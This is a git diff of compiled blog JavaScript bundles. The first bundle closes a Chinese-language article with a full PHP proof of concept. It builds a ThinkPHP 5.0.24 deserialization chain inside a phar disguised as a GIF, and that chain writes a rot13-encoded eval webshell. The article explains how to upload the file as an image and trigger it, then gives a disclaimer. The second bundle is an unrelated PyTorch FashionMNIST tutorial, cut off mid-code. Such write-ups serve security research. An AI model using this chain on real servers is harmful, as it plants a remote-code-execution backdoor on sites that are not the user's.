\u5229\u7528\u8fc7\u7a0b"}),"\n",(0,t.jsx)(e.p,{children:"\u751f\u6210\u6076\u610f\u7684\u9644\u4ef6"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nnamespace think\\cache\\driver;\n\nclass File {\n protected $options = [];\n protected $tag;\n public function __construct() {\n $this->tag = 'gg';\n $this->options = [\n 'cache_subdir' => false,\n 'prefix' => '',\n 'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\\'n\\']); ?>/../a.php',\n 'data_compress' => false\n ];\n }\n}\n\nnamespace think\\session\\driver;\nuse think\\cache\\driver\\File;\n\nclass Memcached {\n protected $handler;\n function __construct() {\n $this->handler=new File();\n }\n}\n\nnamespace think\\console;\nuse think\\session\\driver\\Memcached;\n\nclass Output {\n protected $styles = [];\n private $handle;\n function __construct() {\n $this->styles = [\"getAttr\", 'info',\n 'error',\n 'comment',\n 'question',\n 'highlight',\n 'warning'];\n $this->handle = new Memcached();\n }\n}\n\nnamespace think\\db;\nuse think\\console\\Output;\n\nclass Query {\n protected $model;\n function __construct() {\n $this->model = new Output();\n }\n}\n\nnamespace think\\model\\relation;\nuse think\\console\\Output;\nuse think\\db\\Query;\n\nclass HasOne {\n public $model;\n protected $selfRelation;\n protected $parent;\n protected $query;\n protected $bindAttr = [];\n public function __construct() {\n $this->query = new Query(\"xx\", 'think\\console\\Output');\n $this->model = false;\n $this->selfRelation = false;\n $this->bindAttr = [\"xx\" => \"xx\"];\n }}\n\nnamespace think\\model;\nuse think\\console\\Output;\nuse think\\model\\relation\\HasOne;\n\nabstract class Model {\n}\n\nclass Pivot extends Model {\n public $parent;\n protected $append = [];\n protected $data = [];\n protected $error;\n protected $model;\n\n function __construct() {\n $this->parent = new Output();\n $this->error = new HasOne();\n $this->model = \"test\";\n $this->append = [\"test\" => \"getError\"];\n $this->data = [\"panrent\" => \"true\"];\n }\n}\n\nnamespace think\\process\\pipes;\nuse Phar;\nuse think\\model\\Pivot;\n\nclass Windows {\n private $files = [];\n public function __construct() {\n $this->files=[new Pivot()];\n }\n}\n\n$obj = new Windows();\n\n\n$phar = new Phar('poc.phar');\n$phar -> startBuffering(); //\u5f00\u59cb\u7f13\u51b2 Phar \u5199\u64cd\u4f5c\n$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>'); //\u8bbe\u7f6estub\uff0c\u589e\u52a0gif\u6587\u4ef6\u5934\n$phar ->addFromString('test.txt','test'); //\u8981\u538b\u7f29\u7684\u6587\u4ef6\n$phar -> setMetadata($obj); //\u5c06\u81ea\u5b9a\u4e49meta-data\u5b58\u5165manifest\n$phar -> stopBuffering(); ////\u505c\u6b62\u7f13\u51b2\u5bf9 Phar \u5f52\u6863\u7684\u5199\u5165\u8bf7\u6c42\uff0c\u5e76\u5c06\u66f4\u6539\u4fdd\u5b58\u5230\u78c1\u76d8\n\n\n\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd9\u91cc\u5427 ",(0,t.jsx)(e.code,{children:"poc.phar"}),"\uff0c\u6539\u6210\u4e00\u4e2a\u56fe\u7247\u7684\u540e\u7f00\uff0c\u5c31\u884c\u4e86"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639084.png",alt:"image-20250303155733060"})}),"\n",(0,t.jsx)(e.p,{children:"\u89e6\u53d1phar"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639085.png",alt:"image-20250303155920816"})}),"\n",(0,t.jsxs)(e.p,{children:["\u6b64\u65f6\u5c31\u4f1a\u751f\u6210\u4e24\u4e2a\u6076\u610f\u7684\u6587\u4ef6\uff08\u554a\uff0c\u4f60\u95ee\u6211\u4e3a\u4ec0\u4e48\uff0cthinkphp\u7684\u94fe\u554a \u770b\u8fd9\u91cc->",(0,t.jsx)(e.a,{href:"https://blog.csdn.net/qq_41891666/article/details/107503710",children:"\u6211\u4e5f\u4e0d\u77e5\u9053\u54ea\u627e\u7684\u6587\u7ae0"}),"\uff09"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639086.png",alt:"image-20250303160359764"})}),"\n",(0,t.jsx)(e.p,{children:"\u6700\u540e\u518d\u6765\u4e00\u5f20"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639087.png",alt:"image-20250303160546641"})}),"\n",(0,t.jsx)(e.h3,{id:"33-\u67d0\u67d0cms\u63d0\u4ea4\u5b98\u65b9\u4e86\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03",children:"3.3 \u67d0\u67d0CMS\uff08\u63d0\u4ea4\u5b98\u65b9\u4e86\uff0c\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03\uff09"}),"\n",(0,t.jsx)(e.h2,{id:"4-\u514d\u8d23\u58f0\u660e",children:"4. \u514d\u8d23\u58f0\u660e"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u514d\u8d23\u58f0\u660e"})}),"\n",(0,t.jsx)(e.p,{children:"\u672c\u6587\u6240\u6d89\u53ca\u7684\u6280\u672f\u4fe1\u606f\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4f7f\u7528\uff0c\u65e8\u5728\u63d0\u5347\u4fe1\u606f\u5b89\u5168\u610f\u8bc6\uff0c\u5e2e\u52a9\u5b89\u5168\u7814\u7a76\u4eba\u5458\u548c\u5f00\u53d1\u8005\u66f4\u597d\u5730\u7406\u89e3\u548c\u9632\u8303\u76f8\u5173\u5b89\u5168\u98ce\u9669\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8d23\u4efb\u58f0\u660e\uff1a"})}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsx)(e.li,{children:"\u672c\u6587\u6240\u63d0\u4f9b\u7684\u4fe1\u606f\u4ec5\u4f9b\u5408\u6cd5\u3001\u5408\u89c4\u7684\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4f7f\u7528\uff0c\u4e25\u7981\u7528\u4e8e\u4efb\u4f55\u975e\u6cd5\u76ee\u7684\u3002"}),"\n",(0,t.jsxs)(e.li,{children:["\u4efb\u4f55\u4eba\u4e0d\u5f97\u5229\u7528\u672c\u6587\u63d0\u4f9b\u7684\u6280\u672f\u4fe1\u606f\u8fdb\u884c\u672a\u7ecf\u6388\u6743\u7684",(0,t.jsx)(e.strong,{children:"\u653b\u51fb\u884c\u4e3a"}),"\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e",(0,t.jsx)(e.strong,{children:"\u6e17\u900f\u6d4b\u8bd5\u3001\u6076\u610f\u5229\u7528\u3001\u6570\u636e\u6cc4\u9732\u3001\u7834\u574f\u7cfb\u7edf"}),"\u7b49\u3002"]}),"\n",(0,t.jsxs)(e.li,{children:["\u672c\u6587\u6240\u8ff0\u77e5\u8bc6\u4e0d\u5f97\u7528\u4e8e\u5f00\u53d1\u3001\u4f20\u64ad\u3001\u9500\u552e\u6216\u4f7f\u7528\u4efb\u4f55\u5f62\u5f0f\u7684",(0,t.jsx)(e.strong,{children:"\u653b\u51fb\u6027\u5de5\u5177\u3001\u81ea\u52a8\u5316\u5229\u7528\u5de5\u5177\u6216\u6076\u610f\u8f6f\u4ef6"}),"\u3002"]}),"\n",(0,t.jsxs)(e.li,{children:["\u4f5c\u4e3a\u672c\u6587\u7684\u552f\u4e00\u4f5c\u8005\uff0c\u6211",(0,t.jsx)(e.strong,{children:"\u4e0d\u652f\u6301\u3001\u4e0d\u9f13\u52b1\u3001\u4e0d\u53c2\u4e0e"}),"\u4efb\u4f55\u5f62\u5f0f\u7684\u7f51\u7edc\u653b\u51fb\u884c\u4e3a\u3002\u82e5\u4f7f\u7528\u672c\u6587\u6240\u8ff0\u4fe1\u606f\u8fdb\u884c\u653b\u51fb\u6216\u5176\u4ed6\u6076\u610f\u6d3b\u52a8\uff0c\u884c\u4e3a\u4eba\u5e94\u5bf9\u5176\u884c\u4e3a\u53ca\u5176\u540e\u679c\u8d1f\u8d23\uff0c",(0,t.jsx)(e.strong,{children:"\u6211\u4e0d\u627f\u62c5\u4efb\u4f55\u6cd5\u5f8b\u8d23\u4efb"}),"\u3002"]}),"\n",(0,t.jsx)(e.li,{children:"\u6211\u4e0d\u5bf9\u4efb\u4f55\u7531\u4e8e\u4f7f\u7528\u6216\u8bef\u7528\u672c\u6587\u4fe1\u606f\u800c\u9020\u6210\u7684\u76f4\u63a5\u6216\u95f4\u63a5\u635f\u5931\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u5982\u679c\u8be5\u6280\u672f\u4fe1\u606f\u6d89\u53ca\u7279\u5b9a\u5382\u5546\u6216\u8f6f\u4ef6\uff0c\u6211\u5efa\u8bae\u76f8\u5173\u65b9\u5c3d\u5feb\u8fdb\u884c\u5b89\u5168\u52a0\u56fa\uff0c\u5e76\u547c\u5401\u8bfb\u8005\u9075\u5b88\u8d1f\u8d23\u4efb\u7684\u6f0f\u6d1e\u62ab\u9732\u6d41\u7a0b\u3002"}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:"\u6240\u6709\u6d89\u53ca\u7684\u6f0f\u6d1e\u4fe1\u606f\u5df2\u53ca\u65f6\u544a\u77e5\u76f8\u5173\u5382\u5546"}),"\uff0c\u5e76\u5efa\u8bae\u4ed6\u4eec\u8fdb\u884c\u4fee\u590d\u548c\u52a0\u56fa\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u6cd5\u5f8b\u5408\u89c4\u63d0\u9192\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"\u8bf7\u786e\u4fdd\u60a8\u5728\u9075\u5b88\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4\u7684\u524d\u63d0\u4e0b\u4f7f\u7528\u672c\u6587\u4fe1\u606f\u3002\u5982\u6709\u4efb\u4f55\u7591\u95ee\uff0c\u8bf7\u54a8\u8be2\u4e13\u4e1a\u6cd5\u5f8b\u4eba\u58eb\u6216\u76f8\u5173\u673a\u6784\u3002"}),"\n",(0,t.jsx)(e.h2,{id:"5-\u53c2\u8003",children:"5. \u53c2\u8003"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:"https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6",children:"phar\u53cd\u5e8f\u5217\u5316"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:"https://blog.csdn.net/qq_41891666/article/details/107503710",children:"thinkphp v5.0.24 \u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\u5206\u6790_v5.0.24 \u4e0b\u8f7d\u547d\u4ee4-CSDN\u535a\u5ba2"})}),"\n"]})]})}function p(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/assets/js/24e933c3.5a692179.js b/assets/js/24e933c3.5a692179.js new file mode 100644 index 0000000..3430648 --- /dev/null +++ b/assets/js/24e933c3.5a692179.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5743],{692:(n,e,s)=>{s.d(e,{A:()=>a});const a=s.p+"assets/images/fashion-mnist-sprite-e505930fa54d62f4bba9830b8b3fd83c.png"},7622:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>l,contentTitle:()=>i,default:()=>h,frontMatter:()=>o,metadata:()=>a,toc:()=>c});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","title":"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"4.3 DenseNet.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet"},"next":{"title":"\u7b2c\u4e94\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/"}}');var r=s(74848),t=s(28453);const o={},i="4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md",l={},c=[];function d(n){const e={a:"a",br:"br",code:"code",h1:"h1",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"44-fashionmnist\u56fe\u50cf\u5206\u7c7bmd",children:"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"\u57fa\u7840\u5b9e\u6218fashionmnist\u65f6\u88c5\u5206\u7c7b",children:"\u57fa\u7840\u5b9e\u6218\u2014\u2014FashionMNIST\u65f6\u88c5\u5206\u7c7b"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:s(692).A+"",width:"840",height:"840"})}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u524d\u9762\u4e09\u7ae0\u5185\u5bb9\u7684\u5b66\u4e60\uff0c\u6211\u4eec\u5b8c\u6210\u4e86\u4ee5\u4e0b\u7684\u5185\u5bb9\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5bf9PyTorch\u6709\u4e86\u521d\u6b65\u7684\u8ba4\u8bc6"}),"\n",(0,r.jsx)(e.li,{children:"\u5b66\u4f1a\u4e86\u5982\u4f55\u5b89\u88c5PyTorch\u4ee5\u53ca\u5bf9\u5e94\u7684\u7f16\u7a0b\u73af\u5883"}),"\n",(0,r.jsx)(e.li,{children:"\u5b66\u4e60\u4e86PyTorch\u6700\u6838\u5fc3\u7684\u7406\u8bba\u57fa\u7840\uff08\u5f20\u91cf&\u81ea\u52a8\u6c42\u5bfc\uff09"}),"\n",(0,r.jsx)(e.li,{children:"\u68b3\u7406\u4e86\u5229\u7528PyTorch\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u4e3b\u8981\u6b65\u9aa4\u548c\u5bf9\u5e94\u5b9e\u73b0\u65b9\u5f0f"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u73b0\u5728\uff0c\u6211\u4eec\u901a\u8fc7\u4e00\u4e2a\u57fa\u7840\u5b9e\u6218\u6848\u4f8b\uff0c\u5c06\u7b2c\u4e00\u90e8\u5206\u6240\u6d89\u53ca\u7684PyTorch\u5165\u95e8\u77e5\u8bc6\u4e32\u8d77\u6765\uff0c\u4fbf\u4e8e\u5927\u5bb6\u52a0\u6df1\u7406\u89e3\u3002\u540c\u65f6\u4e3a\u540e\u7eed\u7684\u8fdb\u9636\u5b66\u4e60\u6253\u597d\u57fa\u7840\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e00\u4e2a\u5b8c\u6574\u7684\u6df1\u5ea6\u5b66\u4e60\u6d41\u7a0b"}),"\n",(0,r.jsx)(e.li,{children:"\u5404\u4e2a\u7ec4\u4ef6\u7684\u5b9e\u9645\u4f7f\u7528\u65b9\u6cd5"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u8fd9\u91cc\u7684\u4efb\u52a1\u662f\u5bf910\u4e2a\u7c7b\u522b\u7684\u201c\u65f6\u88c5\u201d\u56fe\u50cf\u8fdb\u884c\u5206\u7c7b\uff0c\u4f7f\u7528",(0,r.jsx)(e.a,{href:"https://github.com/zalandoresearch/fashion-mnist/tree/master/data/fashion",children:"FashionMNIST\u6570\u636e\u96c6"}),"\u3002\n\u4e0a\u56fe\u7ed9\u51fa\u4e86FashionMNIST\u4e2d\u6570\u636e\u7684\u82e5\u5e72\u6837\u4f8b\u56fe\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5c0f\u56fe\u5bf9\u5e94\u4e00\u4e2a\u6837\u672c\u3002",(0,r.jsx)(e.br,{}),"\nFashionMNIST\u6570\u636e\u96c6\u4e2d\u5305\u542b\u5df2\u7ecf\u9884\u5148\u5212\u5206\u597d\u7684\u8bad\u7ec3\u96c6\u548c\u6d4b\u8bd5\u96c6\uff0c\u5176\u4e2d\u8bad\u7ec3\u96c6\u517160,000\u5f20\u56fe\u50cf\uff0c\u6d4b\u8bd5\u96c6\u517110,000\u5f20\u56fe\u50cf\u3002\u6bcf\u5f20\u56fe\u50cf\u5747\u4e3a\u5355\u901a\u9053\u9ed1\u767d\u56fe\u50cf\uff0c\u5927\u5c0f\u4e3a28*28pixel\uff0c\u5206\u5c5e10\u4e2a\u7c7b\u522b\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u8ba9\u6211\u4eec\u4e00\u8d77\u5c06\u7b2c\u4e09\u7ae0\u5404\u90e8\u5206\u5185\u5bb9\u9010\u6b65\u5b9e\u73b0\uff0c\u6765\u8dd1\u5b8c\u6574\u4e2a\u6df1\u5ea6\u5b66\u4e60\u6d41\u7a0b\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u9996\u5148\u5bfc\u5165\u5fc5\u8981\u7684\u5305"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"import os\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u914d\u7f6e\u8bad\u7ec3\u73af\u5883\u548c\u8d85\u53c2\u6570"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# \u914d\u7f6eGPU\uff0c\u8fd9\u91cc\u6709\u4e24\u79cd\u65b9\u5f0f\n## \u65b9\u6848\u4e00\uff1a\u4f7f\u7528os.environ\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n# \u65b9\u6848\u4e8c\uff1a\u4f7f\u7528\u201cdevice\u201d\uff0c\u540e\u7eed\u5bf9\u8981\u4f7f\u7528GPU\u7684\u53d8\u91cf\u7528.to(device)\u5373\u53ef\ndevice = torch.device(\"cuda:1\" if torch.cuda.is_available() else \"cpu\")\n\n## \u914d\u7f6e\u5176\u4ed6\u8d85\u53c2\u6570\uff0c\u5982batch_size, num_workers, learning rate, \u4ee5\u53ca\u603b\u7684epochs\nbatch_size = 256\nnum_workers = 4 # \u5bf9\u4e8eWindows\u7528\u6237\uff0c\u8fd9\u91cc\u5e94\u8bbe\u7f6e\u4e3a0\uff0c\u5426\u5219\u4f1a\u51fa\u73b0\u591a\u7ebf\u7a0b\u9519\u8bef\nlr = 1e-4\nepochs = 20\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6570\u636e\u8bfb\u5165\u548c\u52a0\u8f7d"}),(0,r.jsx)(e.br,{}),"\n\u8fd9\u91cc\u540c\u65f6\u5c55\u793a\u4e24\u79cd\u65b9\u5f0f:"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e0b\u8f7d\u5e76\u4f7f\u7528PyTorch\u63d0\u4f9b\u7684\u5185\u7f6e\u6570\u636e\u96c6"}),"\n",(0,r.jsxs)(e.li,{children:["\u4ece\u7f51\u7ad9\u4e0b\u8f7d\u4ee5csv\u683c\u5f0f\u5b58\u50a8\u7684\u6570\u636e\uff0c\u8bfb\u5165\u5e76\u8f6c\u6210\u9884\u671f\u7684\u683c\u5f0f",(0,r.jsx)(e.br,{}),"\n\u7b2c\u4e00\u79cd\u6570\u636e\u8bfb\u5165\u65b9\u5f0f\u53ea\u9002\u7528\u4e8e\u5e38\u89c1\u7684\u6570\u636e\u96c6\uff0c\u5982MNIST\uff0cCIFAR10\u7b49\uff0cPyTorch\u5b98\u65b9\u63d0\u4f9b\u4e86\u6570\u636e\u4e0b\u8f7d\u3002\u8fd9\u79cd\u65b9\u5f0f\u5f80\u5f80\u9002\u7528\u4e8e\u5feb\u901f\u6d4b\u8bd5\u65b9\u6cd5\uff08\u6bd4\u5982\u6d4b\u8bd5\u4e0b\u67d0\u4e2aidea\u5728MNIST\u6570\u636e\u96c6\u4e0a\u662f\u5426\u6709\u6548\uff09",(0,r.jsx)(e.br,{}),"\n\u7b2c\u4e8c\u79cd\u6570\u636e\u8bfb\u5165\u65b9\u5f0f\u9700\u8981\u81ea\u5df1\u6784\u5efaDataset\uff0c\u8fd9\u5bf9\u4e8ePyTorch\u5e94\u7528\u4e8e\u81ea\u5df1\u7684\u5de5\u4f5c\u4e2d\u5341\u5206\u91cd\u8981"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u540c\u65f6\uff0c\u8fd8\u9700\u8981\u5bf9\u6570\u636e\u8fdb\u884c\u5fc5\u8981\u7684\u53d8\u6362\uff0c\u6bd4\u5982\u8bf4\u9700\u8981\u5c06\u56fe\u7247\u7edf\u4e00\u4e3a\u4e00\u81f4\u7684\u5927\u5c0f\uff0c\u4ee5\u4fbf\u540e\u7eed\u80fd\u591f\u8f93\u5165\u7f51\u7edc\u8bad\u7ec3\uff1b\u9700\u8981\u5c06\u6570\u636e\u683c\u5f0f\u8f6c\u4e3aTensor\u7c7b\uff0c\u7b49\u7b49\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e9b\u53d8\u6362\u53ef\u4ee5\u5f88\u65b9\u4fbf\u5730\u501f\u52a9torchvision\u5305\u6765\u5b8c\u6210\uff0c\u8fd9\u662fPyTorch\u5b98\u65b9\u7528\u4e8e\u56fe\u50cf\u5904\u7406\u7684\u5de5\u5177\u5e93\uff0c\u4e0a\u9762\u63d0\u5230\u7684\u4f7f\u7528\u5185\u7f6e\u6570\u636e\u96c6\u7684\u65b9\u5f0f\u4e5f\u8981\u7528\u5230\u3002PyTorch\u7684\u4e00\u5927\u65b9\u4fbf\u4e4b\u5904\u5c31\u5728\u4e8e\u5b83\u662f\u4e00\u6574\u5957\u201c\u751f\u6001\u201d\uff0c\u6709\u7740\u5b98\u65b9\u548c\u7b2c\u4e09\u65b9\u5404\u4e2a\u9886\u57df\u7684\u652f\u6301\u3002\u8fd9\u4e9b\u5185\u5bb9\u6211\u4eec\u4f1a\u5728\u540e\u7eed\u8bfe\u7a0b\u4e2d\u8be6\u7ec6\u4ecb\u7ecd\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# \u9996\u5148\u8bbe\u7f6e\u6570\u636e\u53d8\u6362\nfrom torchvision import transforms\n\nimage_size = 28\ndata_transform = transforms.Compose([\n transforms.ToPILImage(), \n # \u8fd9\u4e00\u6b65\u53d6\u51b3\u4e8e\u540e\u7eed\u7684\u6570\u636e\u8bfb\u53d6\u65b9\u5f0f\uff0c\u5982\u679c\u4f7f\u7528\u5185\u7f6e\u6570\u636e\u96c6\u8bfb\u53d6\u65b9\u5f0f\u5219\u4e0d\u9700\u8981\n transforms.Resize(image_size),\n transforms.ToTensor()\n])\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"## \u8bfb\u53d6\u65b9\u5f0f\u4e00\uff1a\u4f7f\u7528torchvision\u81ea\u5e26\u6570\u636e\u96c6\uff0c\u4e0b\u8f7d\u53ef\u80fd\u9700\u8981\u4e00\u6bb5\u65f6\u95f4\nfrom torchvision import datasets\n\ntrain_data = datasets.FashionMNIST(root='./', train=True, download=True, transform=data_transform)\ntest_data = datasets.FashionMNIST(root='./', train=False, download=True, transform=data_transform)\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"/data1/ljq/anaconda3/envs/smp/lib/python3.8/site-packages/torchvision/datasets/mnist.py:498: UserWarning: The given NumPy array is not writeable, and PyTorch does not support non-writeable tensors. This means you can write to the underlying (supposedly non-writeable) NumPy array using the tensor. You may want to copy the array to protect its data or make it writeable before converting it to a tensor. This type of warning will be suppressed for the rest of this program. (Triggered internally at /opt/conda/conda-bld/pytorch_1623448234945/work/torch/csrc/utils/tensor_numpy.cpp:180.)\n return torch.from_numpy(parsed.astype(m[2], copy=False)).view(*s)\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'## \u8bfb\u53d6\u65b9\u5f0f\u4e8c\uff1a\u8bfb\u5165csv\u683c\u5f0f\u7684\u6570\u636e\uff0c\u81ea\u884c\u6784\u5efaDataset\u7c7b\n# csv\u6570\u636e\u4e0b\u8f7d\u94fe\u63a5\uff1ahttps://www.kaggle.com/zalando-research/fashionmnist\nclass FMDataset(Dataset):\n def __init__(self, df, transform=None):\n self.df = df\n self.transform = transform\n self.images = df.iloc[:,1:].values.astype(np.uint8)\n self.labels = df.iloc[:, 0].values\n \n def __len__(self):\n return len(self.images)\n \n def __getitem__(self, idx):\n image = self.images[idx].reshape(28,28,1)\n label = int(self.labels[idx])\n if self.transform is not None:\n image = self.transform(image)\n else:\n image = torch.tensor(image/255., dtype=torch.float)\n label = torch.tensor(label, dtype=torch.long)\n return image, label\n\ntrain_df = pd.read_csv("./FashionMNIST/fashion-mnist_train.csv")\ntest_df = pd.read_csv("./FashionMNIST/fashion-mnist_test.csv")\ntrain_data = FMDataset(train_df, data_transform)\ntest_data = FMDataset(test_df, data_transform)\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u6784\u5efa\u8bad\u7ec3\u548c\u6d4b\u8bd5\u6570\u636e\u96c6\u5b8c\u6210\u540e\uff0c\u9700\u8981\u5b9a\u4e49DataLoader\u7c7b\uff0c\u4ee5\u4fbf\u5728\u8bad\u7ec3\u548c\u6d4b\u8bd5\u65f6\u52a0\u8f7d\u6570\u636e"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=True, num_workers=num_workers, drop_last=True)\ntest_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False, 